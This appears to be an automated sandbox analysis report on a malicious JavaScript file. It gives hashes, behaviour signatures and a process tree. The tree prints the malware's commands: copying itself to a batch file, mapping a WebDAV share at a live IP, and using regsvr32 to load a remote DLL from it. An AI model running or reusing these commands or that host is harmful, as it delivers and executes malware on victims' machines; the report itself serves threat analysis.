Analysis

  • max time kernel
    93s
  • max time network
    124s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10/07/2024, 18:10

General

  • Target

    1309471532502224382.js

  • Size

    5KB

  • MD5

    dc3752d227b0ad028a75a1f7a16ba884

  • SHA1

    391eae8a097acf7872cb920f0a6828c2d7a5ebbe

  • SHA256

    eba79dbc2dfde95b2303a3994bb2a0973474e9b27864f2dcd82852594d015fbc

  • SHA512

    3a56e94821240caec3c12b9474fddd9dee5dbc513a5dbe19099916d111fb1aaeecc1554ea493748bf12e9a3bf01d28982c3d5869d1e8cd52d577c4d59000f7ac

  • SSDEEP

    96:HycCf5CU7uEYz6xVFEYzdcHTbbMsZ8kFWD781X9AlHi8eBij99b7F08eBUCIJf8i:HqBdez6xTzdGTbbByyWMTAI8eYjfe8eo

Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\1309471532502224382.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1912
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1309471532502224382.js" "C:\Users\Admin\\qvamom.bat" && "C:\Users\Admin\\qvamom.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4988
      • C:\Windows\system32\net.exe
        net use \\45.9.74.13@8888\DavWWWRoot\
        3⤵
          PID:4312
        • C:\Windows\system32\regsvr32.exe
          regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\712.dll
          3⤵
            PID:2196

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\qvamom.bat

              Filesize

              5KB

              MD5

              dc3752d227b0ad028a75a1f7a16ba884

              SHA1

              391eae8a097acf7872cb920f0a6828c2d7a5ebbe

              SHA256

              eba79dbc2dfde95b2303a3994bb2a0973474e9b27864f2dcd82852594d015fbc

              SHA512

              3a56e94821240caec3c12b9474fddd9dee5dbc513a5dbe19099916d111fb1aaeecc1554ea493748bf12e9a3bf01d28982c3d5869d1e8cd52d577c4d59000f7ac